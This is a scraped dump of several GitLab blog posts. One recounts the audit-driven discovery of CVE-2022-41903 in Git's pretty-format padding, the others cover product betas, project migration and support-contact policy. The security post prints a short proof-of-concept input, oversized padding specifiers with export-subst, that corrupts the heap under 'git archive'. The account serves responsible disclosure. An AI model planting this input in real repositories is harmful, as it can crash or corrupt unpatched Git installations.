.note}\n",[4103,674,790,754],{"slug":11227,"featured":6,"template":678},"whats-next-for-devsecops","content:en-us:blog:whats-next-for-devsecops.yml","Whats Next For Devsecops","en-us/blog/whats-next-for-devsecops.yml","en-us/blog/whats-next-for-devsecops",{"_path":11233,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11234,"content":11240,"config":11246,"_id":11248,"_type":16,"title":11249,"_source":17,"_file":11250,"_stem":11251,"_extension":20},"/en-us/blog/git-security-audit",{"title":11235,"description":11236,"ogTitle":11235,"ogDescription":11236,"noIndex":6,"ogImage":11237,"ogUrl":11238,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11238,"schema":11239},"Git security audit: Inside the hunt for - and discovery of - CVEs","Get a behind-the-scenes look at how I helped discover the vulnerability that became CVE-2022-41903.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668524/Blog/Hero%20Images/closeup-photo-of-black-and-blue-keyboard-1194713.jpg","https://about.gitlab.com/blog/git-security-audit","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git security audit: Inside the hunt for - and discovery of - CVEs\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joern Schneeweisz\"}],\n        \"datePublished\": \"2023-01-24\",\n      }",{"title":11235,"description":11236,"authors":11241,"heroImage":11237,"date":11243,"body":11244,"category":674,"tags":11245},[11242],"Joern Schneeweisz","2023-01-24","\n\nKeeping a secure development environment is my daily focus here at GitLab. My team and I are committed to hunting for vulnerabilities and mitigating them before they impact others. I feel equally enthusiastic about helping the development community identify potential risk. So when I had the opportunity to join an open-source security audit of Git, funded by the [Open Source Technology Improvement Fund (OSTIF)](https://ostif.org/), I jumped at it. Little did I know it would lead to the discovery of [CVE-2022-41903](https://github.com/git/git/security/advisories/GHSA-475x-2q3q-hvwq).\n\nHere's how it all unfolded.\n\n### How we set up a collaboration environment\n\nThe Git security audit was run by [X41 D-Sec](https://x41-dsec.de/) on behalf of OSTIF. Due to [prior](https://gitlab.com/gitlab-com/gl-security/disclosures/blob/master/003_git_submodule/advisory.md) [experiences](https://www.mail-archive.com/linux-kernel@vger.kernel.org/msg1466490.html) in finding vulnerabilities in Git, I was very keen on joining the audit. When Markus at X41 suggested a collaboration to the OSTIF they were very open to it, so all I had to do was convince my manager to spend some time on this audit.\n\nThis wasn't a problem at all. The to-be-done work fits nicely into our Security Research Team's [Ecosystem Security Testing](/handbook/security/threat-management/security-research/#gitlab-ecosystem-security-testing) efforts. So we decided to donate a good chunk of my working hours towards the audit.\n\nMarkus and Eric on X41's side and myself on the GitLab end were able to work closely together by collaborating in a shared group on `gitlab.com`. We used an issue tracker and a repository to draft the report. Together with some free-tier runner minutes, we were all set up on the infrastructure side in 20 minutes, the time I needed to set up the CI for rendering the report. The findings were documented in the issues and via Merge Requests to the report repository, and we also had a shared chat and a couple of synchronous calls to tackle the vast codebase of Git together.\n\n### Finding CVE-2022-41903\n\nGit is compiled out of about a quarter million lines of C code — way too much\nto tackle with only three people in about a month, which was the number allocated for the audit.\nSo we had to prioritize a lot in order to get some good results. I personally tried to dive into more \"obscure\" features of the codebase as those, in my experience, are typically a bit more error prone. I searched a bit through the documentation for `git archive` while diving into [`archive.c`](https://git.kernel.org/pub/scm/git/git.git/tree/archive.c?h=v2.38.1&id=d5b41391a472dcf9486055fd5b8517f893e88daf)'s source code.\nIn that documentation the `export-ignore` and `export-subst` [attributes](https://git-scm.com/docs/git-archive/2.29.0#ATTRIBUTES) caught my attention, my `this is the obscure thing you're looking for` radar went off. \n\nWith `export-ignore` in the `.gitattributes` file it is possible to prevent individual files from being exported by `git archive`. With `export-subst` we can mark files to have [substitutions](https://git-scm.com/docs/gitattributes#_export_subst) taking place when they're exported via `git archive`. Those substitutions are using Git's [`pretty format`](https://git-scm.com/docs/git-log#_pretty_formats).\n\nLooking at the `pretty formats` documentation I did an educated guess by simply messing a bit with the [padding specifiers](https://git-scm.com/docs/git-log#Documentation/git-log.txt-emltltNgttruncltruncmtruncem). Having read a bit of the Git source code already it seemed juicy to me to allow for presumably arbitrary padding width. All those bytes must fit somewhere, right? Within the audit team we already noted the notorious use of the signed type `int` for length variables. Because of that I pretty much right away tried to create a huge padding with a very short format string. \n\nThe initial proof of concept looked like this:\n\nI had a `testfile` in a Git repository with the following content:\n\n```\n$Format:%>(1073741824)%h$\n$Format:%>(1073741824)%h$\n$Format:%>(1073741824)%h$\n$Format:%>(1073741824)%h$\n$Format:%>(1073741824)%h$\n```\n\nThis `testfile` was also referenced in the `.gitattributes` for export substitution:\n\n```\ntestfile export-subst\n```\n\nAfter committing both files to the repository I was able to trigger a heap corruption by calling `git archive` in the repository. The five padding specifiers sum up to `5368709120`, which is way beyond what an `int` could take. Markus, Eric, and I tracked the root cause down to [`format_and_pad_commit()`](https://git.kernel.org/pub/scm/git/git.git/tree/pretty.c?h=v2.38.1&id=d5b41391a472dcf9486055fd5b8517f893e88daf#n1668) in `pretty.c`.\n\nIt was a good mix of luck and gut feeling about a certain feature that led to the identification of [CVE-2022-41903](https://github.com/git/git/security/advisories/GHSA-475x-2q3q-hvwq).\n\nThis first critical finding was the tip of the iceberg, and you can refer to [the public report](https://www.x41-dsec.de/static/reports/X41-OSTIF-Gitlab-Git-Security-Audit-20230117-public.pdf) for the full list of findings made during the audit.\n\n### Wider collaboration\n\nThis issue, the first critical one identified within the audit, put me into an interesting position. Being involved in the GitLab security, the heap corruption was pretty relevant for my \"normal\" job outside of this audit. However, there was the obvious need for discretion around the vulnerability. After aligning with all involved parties, we decided to post the vulnerability to the git-security mailing list early, even though the audit was still ongoing. As a few GitLab team members have access to this list, this was the official way to create a security incident at GitLab without any unfair advantage and still keep the vulnerability embargoed.\n\nOn the git-security mailing list, [Patrick Steinhardt](/company/team/#pks-gitlab) from our Gitaly team quickly picked up the vulnerability. On a closer look by Patrick, the formatting specifiers were a bit of a minefield and he got really involved with identifying more issues, developing fixes and even extending Git's own fuzzing harness to cover the pretty formats.\n\n### The upshot of this vulnerabilty hunt\n\nIt was a smooth collaboration between all involved parties.\n\nI'd really like to thank:\n* The folks on the git-security mailing list who had to deal with our findings\n* The OSTIF for making this happen and giving me a chance to participate\n* Markus and Eric from X41 for high-quality hacking time\n\nIn the end, this joint effort could strenghten the security of Git, which is a fundamental part not only of GitLab but almost the whole software developing world.\n\n### References\n\n* [Git announcement](https://www.openwall.com/lists/oss-security/2023/01/17/4)\n* [CVE-2022-41903 advisory](https://github.com/git/git/security/advisories/GHSA-475x-2q3q-hvwq)\n* [CVE-2022-23521 advisory](https://github.com/git/git/security/advisories/GHSA-c738-c5qq-xg89)\n* [OSTIF blogpost](https://ostif.org/the-audit-of-git-is-complete/)\n* [X41 blogpost](https://x41-dsec.de/security/research/news/2023/01/17/git-security-audit-ostif/)\n* [Full public report](https://www.x41-dsec.de/static/reports/X41-OSTIF-Gitlab-Git-Security-Audit-20230117-public.pdf)\n* [GitLab critical security release addressing the issues](/releases/2023/01/17/critical-security-release-gitlab-15-7-5-released/)\n",[674,2952],{"slug":11247,"featured":6,"template":678},"git-security-audit","content:en-us:blog:git-security-audit.yml","Git Security Audit","en-us/blog/git-security-audit.yml","en-us/blog/git-security-audit",{"_path":11253,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11254,"content":11260,"config":11264,"_id":11266,"_type":16,"title":11267,"_source":17,"_file":11268,"_stem":11269,"_extension":20},"/en-us/blog/the-gitlab-quarterly-how-our-latest-beta-releases-support-developers",{"title":11255,"description":11256,"ogTitle":11255,"ogDescription":11256,"noIndex":6,"ogImage":11257,"ogUrl":11258,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11258,"schema":11259},"The GitLab Quarterly: How our latest beta releases support developers","The Value Streams Dashboard and Remote Development provide the capabilities needed to support DevSecOps teams and stay competitive.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668367/Blog/Hero%20Images/innovation-unsplash.jpg","https://about.gitlab.com/blog/the-gitlab-quarterly-how-our-latest-beta-releases-support-developers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The GitLab Quarterly: How our latest beta releases support developers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2023-01-24\",\n      }",{"title":11255,"description":11256,"authors":11261,"heroImage":11257,"date":11243,"body":11262,"category":962,"tags":11263},[1304],"\nIt’s easy to say that 2023 will be the year of innovation, but with the macroeconomic environment requiring an obsessive eye on cost efficiencies, and in some cases, cost-cutting, exactly how are organizations supposed to stay competitive when it comes to software development and delivery? The answer is clear: Stay focused on supporting your developers. Our two new beta releases help you do just that.\n\nThe GitLab Value Streams Dashboard, now available in private beta, ensures that all stakeholders have visibility, early and in real time, into the progress and value delivery metrics associated with software development and delivery. With everyone on the same page, discussions can be had and adjustments made before developers face obstacles or stall out waiting for decision-makers to get up to speed. Developers can also see, at-a-glance, their impact on the idea-to-customer value chain. The goal: Reduce idle time so that developers can spend more time developing and IT leaders can better unlock their transformation results. Keeping the creativity flowing can boost developer happiness and help provide a glide path for software to make its way into the market and add value. \n\nOur other beta release, GitLab Remote Development, can enable organizations to directly support developers by letting them establish an environment that best suits their needs, including where, when, and how they prefer to work. GitLab Remote Development doesn’t require developers to set up and manage local development environments, which keeps workflow distractions to a minimum. Stripping away location, device, and complex toolchain barriers can maximize developer satisfaction, which can lead to increased ingenuity and productivity.\n\nAn overarching aspect of this developer support is that it is available on a single DevSecOps platform so you don’t have to tack on something special to achieve these goals — the tools are all there and ready to be used to create better software faster.\n\nNow, let’s dig deeper into these capabilities and how they will help you support your developers and deliver value to your customers.\n\n## GitLab Value Streams Dashboard\n\nIn many conversations we have with customers, lack of visibility into metrics for software development value streams comes up as a pain point. Value streams – the process from idea to delivering customer value – should be the epicenter for understanding the progress, blockers, timelines, and costs associated with your development projects. Without this insight, innovation with an eye to cost efficiencies is virtually impossible. It is also difficult to properly support developers through fast, informed decision-making if everyone doesn’t have access to the same real-time data. \n\nThe GitLab Value Streams Dashboard gives stakeholders a bird's-eye view of their teams’ software delivery metrics (such as [DORA metrics](https://docs.gitlab.com/ee/user/analytics/dora_metrics.html) and [flow metrics](https://docs.gitlab.com/ee/user/analytics/value_stream_analytics.html)) for continuous improvement. DevSecOps teams can identify and fix inefficiencies and bottlenecks in their software delivery workflows, which can improve the overall productivity and stability of their development environment. \n\n> \"Our team is excited to try out the DORA metrics capabilities available in the private beta for the new Value Streams Dashboard. We look forward to using other widgets as the Value Streams Dashboard matures, which we hope will greatly improve our productivity and efficiency.\"  \n> _**Rob Fulwell, Staff Engineer, Conversica**_\n\nThe first iteration of the GitLab Value Streams Dashboard enables teams to continuously improve software delivery workflows by benchmarking key DevOps metrics to help improve productivity, efficiency, scalability, and performance. Tracking and comparing these metrics over a period of time helps teams catch downward trends early, drill down into individual projects/metrics, take remedial actions to maintain their software delivery performance, and track progress of their innovation investments.\n\nLeadership can support developers by using information from the dashboard to cross-pollinate and promote best practices, add resources to projects based on metrics, and eliminate common bottlenecks across projects. \n\n\n\n### Roadmap for Value Streams Dashboard\n\nWe are just getting started with delivering capabilities in our Value Streams Dashboard. The roadmap includes planned features and functionality that will continue to improve decision-making and operational efficiencies.\n\nHere are some of the capabilities we plan to focus on next:\n\n1. New visualizations such as overview widgets, [top view treemap](https://gitlab.com/gitlab-org/gitlab/-/issues/381306), and [DORA performance score chart](https://gitlab.com/gitlab-org/gitlab/-/issues/386843)\n2. Security and vulnerability benchmarking  to enable executives to better understand an organization’s security exposure \n3. A new [data warehouse](https://gitlab.com/groups/gitlab-org/-/epics/9318?_gl=1*1orel9k*_ga*ODExMTUxMDcwLjE2Njk3MDM3Njk.*_ga_ENFH3X7M5Y*MTY3MjkxMTgxMC43Ny4xLjE2NzI5MTI0MTIuMC4wLjA.) that supports fast analytical queries and deep data analysis\n4. Additional business value metrics such as adoption, OKRs, revenue, costs, CSAT that align technical and business goals\n\n[Learn more on our direction page](/direction/plan/value_stream_management/).\n\n### Join the beta: We welcome your contributions\n\nAs we iterate on this new offering, GitLab Premium and Ultimate customers are invited to [join our private beta](https://about.gitlab.com/value-streams-dashboard).\n\nWe also invite you to learn more about [Value Streams Dashboard](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html) and [follow along](https://gitlab.com/groups/gitlab-org/-/epics/9317) on the timeline to General Availability.\n\n## GitLab Remote Development\n\nThe increasing adoption of reproducible, ephemeral, cloud-based development environments has accelerated software development. But for developers, frequent context-switching between different environments, navigating complex and extensive toolchains, and managing a local development environment can create friction. GitLab Remote Development helps organizations better support developers by enabling them to spend less time managing their development environment and more time contributing high-quality code.\n\n> \"While a number of stakeholders are critical to successful DevOps, software developers are key for a successful DevOps implementation. Thus, organizations must adequately support developers. This means providing good developer experiences that are not disruptive or intrusive, but that are nonetheless sanctioned by the company, and that remain secure and compliant through automation and abstraction.\"  \n> _**Jay Lyman, 451 Research, a part of S&P Global Market Intelligence, \"Traditional IT teams, leadership stand out as additional DevOps stakeholders – Highlights from VotE: DevOps,\" January 4, 2023**_ \n\nThe centerpiece of GitLab Remote Development is our newly released Web IDE Beta, now the default web IDE experience on GitLab. The Web IDE makes it possible to securely connect to a remote development environment, run commands in an interactive terminal panel, and get real-time feedback from right inside the Web IDE. Understanding that developer familiarity is important, the Web IDE Beta uses a more powerful VS code interface and is able to handle many of the most frequently performed tasks on the existing Web IDE, including committing changes to multiple files and reviewing merge request diffs.\n\nGitLab Remote Development also creates a more secure development experience by enabling organizations to implement a [zero-trust policy](/blog/why-devops-and-zero-trust-go-together/) that prevents source code and sensitive data from being stored locally across numerous developer devices. In addition, organizations can adhere to compliance requirements by ensuring developers are working with approved environments, libraries, and dependencies. \n\nIt’s interesting to note that we deployed the Web IDE beta turned on as default and currently 99.9% of users have kept it toggled on. I encourage you to learn more about the [new Web IDE functionality](/blog/get-ready-for-new-gitlab-web-ide/) in our recent blog post. \n\n### Roadmap for Remote Development\n\nAs iteration continues on the GitLab remote development experience, the roadmap currently focuses on the following functionality next: \n\n1. Provision instances of remote development environments on demand in the customer’s choice of cloud provider.\n2. Allow teams to share complex, multi-repo environments.\n3. Connect from a variety of IDEs, including VS Code, JetBrains, Vim, or the Web IDE.\n4. Ensure an organization’s remote environments conform to its software supply chain security requirements with advanced security tools, authorization, reports, and audit logs.\n\n[Learn more on our direction page](/direction/create/ide/remote_development/).\n\n## Engage with DevSecOps experts\n\nWant to dig deeper into how to innovate while still keeping an eye on cost efficiencies? Join me for our webcast “[GitLab’s DevSecOps Innovations and Predictions for 2023](https://page.gitlab.com/webcast-gitlab-devsecops-innovations-predictions-2023.html?utm_medium=blog&utm_source=gitlab&utm_campaign=devopsgtm&utm_content=fy23q4release)” on Jan. 31 to get expert advice and insights about this era of DevSecOps transformation and the tools and strategies you’ll need to meet this challenge. \n\n[Register today](https://page.gitlab.com/webcast-gitlab-devsecops-innovations-predictions-2023.html?utm_medium=blog&utm_source=gitlab&utm_campaign=devopsgtm&utm_content=fy23q4release)!\n\n**Disclaimer**: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.\n\n\n_Cover image by [Skye Studios](https://unsplash.com/@skyestudios?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com)_\n  \n",[4103,943,1268,754],{"slug":11265,"featured":6,"template":678},"the-gitlab-quarterly-how-our-latest-beta-releases-support-developers","content:en-us:blog:the-gitlab-quarterly-how-our-latest-beta-releases-support-developers.yml","The Gitlab Quarterly How Our Latest Beta Releases Support Developers","en-us/blog/the-gitlab-quarterly-how-our-latest-beta-releases-support-developers.yml","en-us/blog/the-gitlab-quarterly-how-our-latest-beta-releases-support-developers",{"_path":11271,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11272,"content":11278,"config":11284,"_id":11286,"_type":16,"title":11287,"_source":17,"_file":11288,"_stem":11289,"_extension":20},"/en-us/blog/try-out-new-way-to-migrate-projects",{"title":11273,"description":11274,"ogTitle":11273,"ogDescription":11274,"noIndex":6,"ogImage":11275,"ogUrl":11276,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11276,"schema":11277},"Moving projects easily: GitLab migration automation benefits","Learn how our new direct transfer feature, in beta, is speeding migrations.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668857/Blog/Hero%20Images/migration.jpg","https://about.gitlab.com/blog/try-out-new-way-to-migrate-projects","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab project migration and automation - a perfect pair for faster, easier transfers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Magdalena Frankiewicz\"}],\n        \"datePublished\": \"2023-01-18\",\n      }",{"title":11279,"description":11274,"authors":11280,"heroImage":11275,"date":11281,"body":11282,"category":962,"tags":11283},"GitLab project migration and automation - a perfect pair for faster, easier transfers",[3717],"2023-01-18","\n\nSince Version 14.3, GitLab has supported [migrating GitLab groups by direct transfer](https://docs.gitlab.com/ee/user/group/import/#migrate-groups-by-direct-transfer-recommended), where, rather than manually uploading export files, data is transferred directly from the source instance to the destination instance. We have been working to extend this functionality to projects and are including the ability to migrate projects by direct transfer as a beta in GitLab 15.8.\n\nThis beta feature is **available to everyone**, enabled by default on GitLab.com and with [some configuration](#availability-of-the-feature)\non self-managed GitLab instances.\n\n## Benefits of the direct transfer method\n\nMigrating by direct transfer enables you to easily migrate GitLab group and project resources between GitLab instances and within the same GitLab\ninstance, using either the UI or API.\n\nThis is a major improvement from migrating [groups](https://docs.gitlab.com/ee/user/group/import/#migrate-groups-by-uploading-an-export-file-deprecated) and [projects using file exports](https://docs.gitlab.com/ee/user/project/settings/import_export.html) because:\n\n- You don't need to manually export each individual group and project to a file and then import all those export files to a new location. Now any top-level group you have the Owner role for (plus subgroups when using API) and all its projects can be migrated automatically, making your work more efficient.\n- When migrating from GitLab Self-Managed to GitLab.com, user associations (such as comment author) previously were linked to the user who ran the import. Migration using direct transfer maps users and their contributions correctly, provided [a few conditions are met](https://docs.gitlab.com/ee/user/group/import/#preparation).\n\n## Availability of the feature\n\nThe beta release for migrating GitLab projects with top-level groups by direct transfer is available on GitLab.com. You can migrate from a self-managed GitLab instance to GitLab.com or within GitLab.com right now!\n\nGitLab Self-Managed users have access to migrating projects by direct transfer beta, too. Administrators need to enable:\n\n- an [application setting](https://docs.gitlab.com/ee/administration/settings/visibility_and_access_controls.html#enable-migration-of-groups-and-projects-by-direct-transfer) for migrating groups\n~~- the `bulk_import_projects` [feature flag](https://docs.gitlab.com/ee/administration/feature_flags.html), for migrating projects in the groups~~\n\nWe have removed that feature flag in GitLab 15.10, so only the application setting needs to be enabled.\n\nThis change enables GitLab Dedicated instances to take advantage of the feature.\n\nWe recommend upgrading self-managed instances to the latest version possible before migrating groups and projects.\n\n## Trying the new feature out\n\nTo get started with the new feature, you can either [read the documentation](https://docs.gitlab.com/ee/user/group/import/#migrate-groups-by-direct-transfer-recommended) or follow the\nsteps below.\n\n1. Make sure the [feature is available](#availability-of-the-feature) to you.\n1. Generate or copy a [personal access token](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html) with the `api` scope on your source GitLab instance. Both `api` and `read_repository` scopes are required when migrating from GitLab 15.0 and earlier.\n1. On the top navigation, select **+**, then **New group**, and then **Import group**.\n1. Enter the URL of your source GitLab instance.\n1. Enter the personal access token for your source GitLab instance and select **Connect instance**.\n  ![Screenshot of connecting the source instance](https://about.gitlab.com/images/blogimages/migrate-gitlab-projects-images/connect-source-instance.png){: .shadow}\n1. Select the groups to import from the top-level groups on the connected source instance you have the Owner role for. All the projects within chosen groups can be migrated too! Choose from the dropdown the group you want to migrate to for each group you have selected. Adjust the newly created group name, if needed.\n  ![Screenshot of choosing groups to import](https://about.gitlab.com/images/blogimages/migrate-gitlab-projects-images/choose-groups-to-import.png){: .shadow}\n1. Next to the groups you want to import, select **Import with projects**. The **Status** column shows the import status of each group. If you leave the page open, it updates in real time.\n1. After a group has been imported, select its GitLab path to open the imported group.\n\nFor more information about migrating by direct transfer (for example, what resources are migrated and [group import history](https://docs.gitlab.com/ee/user/group/import/index.html#group-import-history)), see our [documentation](https://docs.gitlab.com/ee/user/group/import/index.html).\n\n## What about migrating projects using file exports? \n\nOnce the migrating projects by direct transfer feature is ready for production use at any scale, migrating groups and projects using file exports\nwill be disabled by a feature flag and only migrating groups and projects by direct transfer will be available in the UI and API.\n\nBecause migrating by direct transfer requires network connection between instances or GitLab.com, customers that are using air-gapped networks with no\nnetwork connectivity between their GitLab instances will need to reenable migrating using file exports. They will be able to use migrating groups and\nprojects by direct transfer after we extend this solution to [also support offline instances](https://gitlab.com/groups/gitlab-org/-/epics/8985).\n\nWe will not fully remove migrating using file exports until we support all our customers with a new solution.\n\n## What's next for migrating by direct transfer method \n\nOf course, we're not done yet! We will be improving the direct transfer method before we come out of beta. We're working on:\n\n- Making the migration [efficient](https://gitlab.com/groups/gitlab-org/-/epics/8983) and [reliable](https://gitlab.com/groups/gitlab-org/-/epics/8927)\n  for large projects.\n- Improving [feedback during migration and when migration is finished](https://gitlab.com/groups/gitlab-org/-/epics/8984).\n\nNext, we will be focusing on:\n\n- Enabling more granular imports, where you'll be able to:\n  - Migrate any group in the UI, not only top-level ones. Migrating subgroups is currently limited to the API.\n  - Choose which projects within a group you want to migrate.\n- Importing [project relations not yet included in migration](https://gitlab.com/groups/gitlab-org/-/epics/9319).\n- Automatically [migrating users](https://gitlab.com/groups/gitlab-org/-/epics/4616).\n\nDetails about the migrating by direct transfer roadmap can be found on our [direction page](https://about.gitlab.com/direction/manage/import_and_integrate/importers/).\n\nWe are excited about this roadmap and hope you are too! We want to hear from you. What's the most important missing piece for you? What else can we improve? Let us know in the [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/284495) and we'll keep iterating!\n\n**Disclaimer:** This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.\n\n_Cover photo by [Chris Briggs](https://unsplash.com/@cgbriggs19?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://www.unsplash.com)_\n",[754,736,695,1444],{"slug":11285,"featured":6,"template":678},"try-out-new-way-to-migrate-projects","content:en-us:blog:try-out-new-way-to-migrate-projects.yml","Try Out New Way To Migrate Projects","en-us/blog/try-out-new-way-to-migrate-projects.yml","en-us/blog/try-out-new-way-to-migrate-projects",{"_path":11291,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11292,"content":11298,"config":11303,"_id":11305,"_type":16,"title":11306,"_source":17,"_file":11307,"_stem":11308,"_extension":20},"/en-us/blog/devsecops-platforms-help-smbs-scale-as-they-grow",{"title":11293,"description":11294,"ogTitle":11293,"ogDescription":11294,"noIndex":6,"ogImage":11295,"ogUrl":11296,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11296,"schema":11297},"DevSecOps platforms help SMBs scale as they grow","Adopting a comprehensive platform early lets smaller businesses mature with best practices.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668641/Blog/Hero%20Images/smbscale.jpg","https://about.gitlab.com/blog/devsecops-platforms-help-smbs-scale-as-they-grow","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevSecOps platforms help SMBs scale as they grow\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2023-01-17\",\n      }",{"title":11293,"description":11294,"authors":11299,"heroImage":11295,"date":11300,"body":11301,"category":962,"tags":11302},[3907],"2023-01-17","\nFor startups and small to medium-sized businesses (SMBs) working to expand their customer base, revenue, and standing in their industries, adopting a [DevSecOps](/topics/devsecops/) platform is one move that can help make all of that growth happen. \n\nThe trick is to migrate to a single, end-to-end platform when the organization is small, so bad habits are avoided early on and constructive processes can be built in and scale as the business grows. A DevSecOps platform enables small businesses to set up an environment and work processes that help them avoid common pitfalls that can come with growth.\n\n## How DevSecOps platforms help SMBs scale\n\nHere are a few ways a DevSecOps platform can help smaller businesses and startups scale:\n\n### Reducing complexity\n\nWhen someone is on a small IT team, the last thing they need is something complicating their job and taking up their precious time. And if they are stitching together multiple tools, they end up creating a [clumsy, ad-hoc toolchain](/blog/battling-toolchain-technical-debt/). That by its very nature forces DevOps professionals to wrestle with a chaotic environment that leads to bottlenecks and requires constant management, tweaking, updating, and switching between interfaces. All of that toolchain care and feeding comes at the expense of simply focusing on delivering code that drives the organization’s bottom line. \n\n### Avoiding silos\n\nMaybe a company is small enough that silos aren’t a problem... right now. But as the business grows, silos likely will grow along with it, causing problems. Silos mean people are heads down working on their own project, or even worse, their own part of a project, without any visibility into the rest of it, or the ability to comment or share their work. It’s easy to create silos if you’re not using a DevSecOps platform because people often naturally separate off into single-minded groups that do not communicate with or understand each other. DevSecOps platforms foster collaboration, making it easier to keep silos from forming in the first place. They create a working environment open to communication and collaboration. A platform will give people the ability to work together, and that collective effort will produce better software. \n\n### Increasing collaboration\n\nAdopting a single, end-to-end platform when a company is small or when a startup is just getting off the ground will enable and encourage everyone in the business (from IT to finance, marketing, and sales) to work together. And it’s easier to create [a collaborative culture](/blog/why-devops-collaboration-continues-to-be-important/) from the very beginning, when working together can become a habit – a normal means of operation. Instilling an environment of communication also is less disruptive and easier to manage in a company of 10, 25, or even 100 employees than in a much larger and complex business. Collaboration also will encourage innovation by bringing in ideas from people in a range of demographics and business interests. Innovative ideas will help businesses grow into more successful and larger companies.\n\n### Decreasing hands-on work\n\nBecause startups and SMBs have fewer IT people, let alone teams of DevOps professionals, the [automation](/blog/how-automation-is-making-devops-pros-jobs-easier/) that is an integral part of a DevSecOps platform eases their burden by decreasing the amount of hands-on work they have to do. With automation for jobs like backup, installation, and security testing built in, people spend less of their already-limited time needlessly repeating time-consuming tasks, or going back in the software lifecycle to find where a security bug was introduced. Automating tasks required for everything from design to build, test, and deployment also can reduce the potential for human error and provide consistency throughout the software lifecycle. By taking those jobs off DevSecOps teams' plates, they have more time to actually build and deploy innovative software and support the business. \n\nLet’s be clear: A startup or SMB isn’t too small for a DevSecOps platform. If an organization is building software, it needs a platform. Business executives don’t want to struggle to grow and look back regretfully and think, “Why didn’t I adopt a DevSecOps platform earlier?”\n\n“If you’re on a small team or even just a team of one, migrating could seem like a lot to take on,” says [Fatima Sarah Khalid](/company/team/#sugaroverflow), a developer evangelist at GitLab. “But it’s worth the effort to set yourself up for growth. With a platform, everyone in the company is able to work in the same environment on the same projects. That means a collaborative environment without silos is formed early and the business can grow with that culture, instead of trying to adopt it years down the road when bad work habits have already formed.”\n\nWith GitLab’s single, end-to-end DevSecOps platform, automation is a system feature and not something that has to be added in. It also helps organizations eliminate or even keep silos from forming, increases collaboration and communication, and decreases the complexities that are born of DIY toolchains.\n\n**Download our [ebook](https://page.gitlab.com/resources-ebook-trading-diy-devops-for-a-single-platform-smb.html)** to learn about the benefits of migrating from a toolchain to GitLab’s DevSecOps platform. \n\n_Cover image by [Markus Spiske](https://unsplash.com/de/@markusspiske?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://www.unsplash.com)_\n",[4103,7116,4144,9297],{"slug":11304,"featured":6,"template":678},"devsecops-platforms-help-smbs-scale-as-they-grow","content:en-us:blog:devsecops-platforms-help-smbs-scale-as-they-grow.yml","Devsecops Platforms Help Smbs Scale As They Grow","en-us/blog/devsecops-platforms-help-smbs-scale-as-they-grow.yml","en-us/blog/devsecops-platforms-help-smbs-scale-as-they-grow",{"_path":11310,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":11311,"content":11317,"config":11322,"_id":11324,"_type":16,"title":11325,"_source":17,"_file":11326,"_stem":11327,"_extension":20},"/en-us/blog/gitlab-support-requires-contacts-to-be-listed-to-open-support-tickets",{"title":11312,"description":11313,"ogTitle":11312,"ogDescription":11313,"noIndex":6,"ogImage":11314,"ogUrl":11315,"ogSiteName":1180,"ogType":1181,"canonicalUrls":11315,"schema":11316},"GitLab improves customer support with faster response times","Learn about important changes to GitLab Support that will create better interactions with customers.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679034/Blog/Hero%20Images/inside-gitLab-public-bug-bounty-program.png","https://about.gitlab.com/blog/gitlab-support-requires-contacts-to-be-listed-to-open-support-tickets","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Support changes enable faster response times, tighter controls for customers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lyle Kozloff\"}],\n        \"datePublished\": \"2023-01-17\",\n      }",{"title":11318,"description":11313,"authors":11319,"heroImage":11314,"date":11300,"body":11320,"category":736,"tags":11321},"GitLab Support changes enable faster response times, tighter controls for customers",[5706],"\n\nStarting on February 1, 2023, only contacts who have been prelisted as a support contact through their company representative will be able to open tickets with GitLab Support. This change gives customers tighter control of support contacts for security and management purposes, and ensures that GitLab Support will be able to triage requests as quickly as possible.\n\nWe encourage all customers to [review their current support contacts](/support/managing-support-contacts/#managing-contacts) and make any necessary updates before this change goes into effect. Please keep in mind that if support is requested by someone who is not listed as a support contact, the ticket will be closed, and a new request will need to be entered by a listed support contact.\n\nPrior to this change, anyone could open a ticket, but only users associated with a paid organization would receive SLA-bound replies. If you weren’t associated with a paid account, you would receive a response asking you to prove your entitlement. However, this often led to significant delays as we sorted out who was writing in and what plan they should receive support 